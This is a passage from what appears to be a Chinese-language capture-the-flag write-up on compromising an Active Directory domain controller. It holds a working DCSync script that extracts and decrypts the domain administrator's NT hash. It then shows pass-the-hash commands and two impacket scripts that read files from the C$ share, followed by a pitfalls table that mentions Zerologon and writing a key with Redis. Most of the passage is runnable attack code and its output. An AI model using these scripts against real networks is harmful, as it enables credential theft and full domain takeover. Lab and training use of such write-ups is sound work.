req['pmsgIn']['V8']['pNC'] = dsName req['pmsgIn']['V8']['usnvecFrom']['usnHighObjUpdate'] = 0 req['pmsgIn']['V8']['usnvecFrom']['usnHighPropUpdate'] = 0 req['pmsgIn']['V8']['pUpToDateVecDest'] = NULL req['pmsgIn']['V8']['ulFlags'] = drsuapi.DRS_INIT_SYNC | drsuapi.DRS_WRIT_REP req['pmsgIn']['V8']['cMaxObjects'] = 1; req['pmsgIn']['V8']['cMaxBytes'] = 0 req['pmsgIn']['V8']['ulExtendedOp'] = drsuapi.EXOP_REPL_OBJ req['pmsgIn']['V8']['pPartialAttrSet'] = NULL # 关键:完整属性集 req['pmsgIn']['V8']['PrefixTableDest']['PrefixCount'] = 0 req['pmsgIn']['V8']['PrefixTableDest']['pPrefixEntry'] = [] req['pmsgIn']['V8']['pPartialAttrSetEx1'] = NULL rec = dce.request(req) rv = 'V%d' % rec['pdwOutVersion'] o = rec['pmsgOut'][rv]['pObjects']['Entinf'] rid = unpack('<L', o['pName']['Sid'][-4:])[0] prefixTable = rec['pmsgOut'][rv]['PrefixTableSrc']['pPrefixEntry'] NTHash = None; LMHash = None; userName = None; domainName = None for attr in o['AttrBlock']['pAttr']: att = attr['attrTyp'] try: oid = drsuapi.OidFromAttid(prefixTable, att) except Exception: oid = None vc = attr['AttrVal']['valCount'] if oid == '1.2.840.113556.1.4.90' and vc > 0: # unicodePwd -> NT Hash enc = b''.join(attr['AttrVal']['pAVal'][0]['pVal']) NTHash = drsuapi.removeDESLayer(drsuapi.DecryptAttributeValue(dce, enc), rid) elif oid == '1.2.840.113556.1.4.55' and vc > 0: # dBCSPwd -> LM Hash enc = b''.join(attr['AttrVal']['pAVal'][0]['pVal']) LMHash = drsuapi.removeDESLayer(drsuapi.DecryptAttributeValue(dce, enc), rid) elif oid == '1.2.840.113556.1.4.221' and vc > 0: # sAMAccountName userName = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le') elif oid == '1.2.840.113556.1.4.656' and vc > 0: # userPrincipalName domainName = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1] if NTHash is None: NTHash = ntlm.NTOWFv1('', '') if LMHash is None: LMHash = ntlm.LMOWFv1('', '') if domainName is not None: userName = '%s\\%s' % (domainName, userName) print('=== RESULT ===') print('%s:%s:%s:%s:::' % (userName, rid, hexlify(LMHash).decode(), hexlify(NTHash).decode())) if __name__ == '__main__': main()
proxychains4 python3 dcsync_tcp.py 10.177.10.133 149667 1445 idsscos.load 'idsscos\Administrator'
预期输出:
[*] idsscos\Administrator GUID = {........} === RESULT === idsscos.load\Administrator:500:aad3b435b51404eeaad3b435b51404ee:4b13e40e7844549f5baa062fb565af98:::
即 域管理员 NT Hash = 4b13e40e7844549f5baa062fb565af98。
几个关键坑(都踩过):
set_dport必须在 transport 对象上,不是 DCE 对象;DS_NT4_ACCOUNT_NAME_SANS_DOMAIN在某些 impacket 版本里不存在,用DS_NT4_ACCOUNT_NAME并且用户名要写成idsscos\Administrator(带 NetBIOS 域名);- GUID 要用
impacket.uuid.string_to_bin(自动处理字节序),不能unhexlify;pPartialAttrSet必须为NULL(完整属性集),否则unicodePwd拿不到,会得到空口令哈希31d6cfe0d16ae931b73c59d7e0c089c0。
Pass-the-Hash 读域控 flag4
用域管哈希做 PTH,直接读 DC2026 的 C$ 共享里的 flag(C:\Users\Administrator\Desktop\flag)。
确认 PTH 成功 + 列出共享
proxychains4 nxc smb 10.177.10.133 --port 1445 \ -u 'Administrator' -H '4b13e40e7844549f5baa062fb565af98' --shares
预期:
[+] idsscos.load\Administrator:4b13e40e7844549f5baa062fb565af98 (Pwn3d!) ... C$ / ADMIN$ / NETLOGON / SYSVOL READ,WRITE
读 flag
教训:
nxc -x 'dir ... & type ...'里的&会被 atexec 拆开导致rpc_s_access_denied,拿不到 flag。直接用 SMB 客户端列目录、拉文件。
impacket-smbclient 的 -port 只接受 139/445,所以用一小段 python 直接连 1445:
列出目录 ls.py:
#!/usr/bin/env python3 import sys from impacket.smbconnection import SMBConnection smb = SMBConnection('10.177.10.133', '10.177.10.133', sess_port=1445) smb.login('Administrator', '', 'idsscos', nthash='4b13e40e7844549f5baa062fb565af98') path = sys.argv[1] if len(sys.argv) > 1 else '*' for e in smb.listPath('C$', path): n = e.get_longname() if n in ('.', '..'): continue print('%s %s (%d bytes)' % ('DIR ' if e.is_directory() else 'FILE', n, e.get_filesize()))
proxychains4 python3 ls.py 'Users\Administrator\Desktop\*' # 会看到: FILE flag (38 bytes)
拉文件 get_flag.py:
#!/usr/bin/env python3 from impacket.smbconnection import SMBConnection smb = SMBConnection('10.177.10.133', '10.177.10.133', sess_port=1445) smb.login('Administrator', '', 'idsscos', nthash='4b13e40e7844549f5baa062fb565af98') f = open('/tmp/dc_flag.txt', 'wb') smb.getFile('C$', 'Users\\Administrator\\Desktop\\flag', f.write) f.close() print('saved /tmp/dc_flag.txt')
proxychains4 python3 get_flag.py cat /tmp/dc_flag.txt # flag{MosYNUf6eX4iAvC30BIb12G8cud9Lmhq}
说明:
listPath(share, path)的 path 是相对共享的,且要自己带\*通配符。如果直接传Users\Administrator\Desktop(不带*),它会当成Desktop*去列父目录,结果就错位了。
AI踩坑速查表
<clinit> | ||
Permission denied | \n\n | SET x "\n\n<公钥>\n\n" |
nxc -x 'a & b'rpc_s_access_denied | & 拆开 | impacket-smbclient 或 python SMB 读文件 |
zerologon_np.pyno attribute set_dport | set_dport | rpc_transport.set_dport(port) 再 get_dce_rpc() |
\pipe\lsass 报 rpc_s_access_denied | ||
abstract_syntax_not_supported | ||
31d6cfe0... | pPartialAttrSet=NULL | |
DRSCrackNames | idsscos\Administrator | |
Non-hexadecimal digit | impacket.uuid.string_to_bin |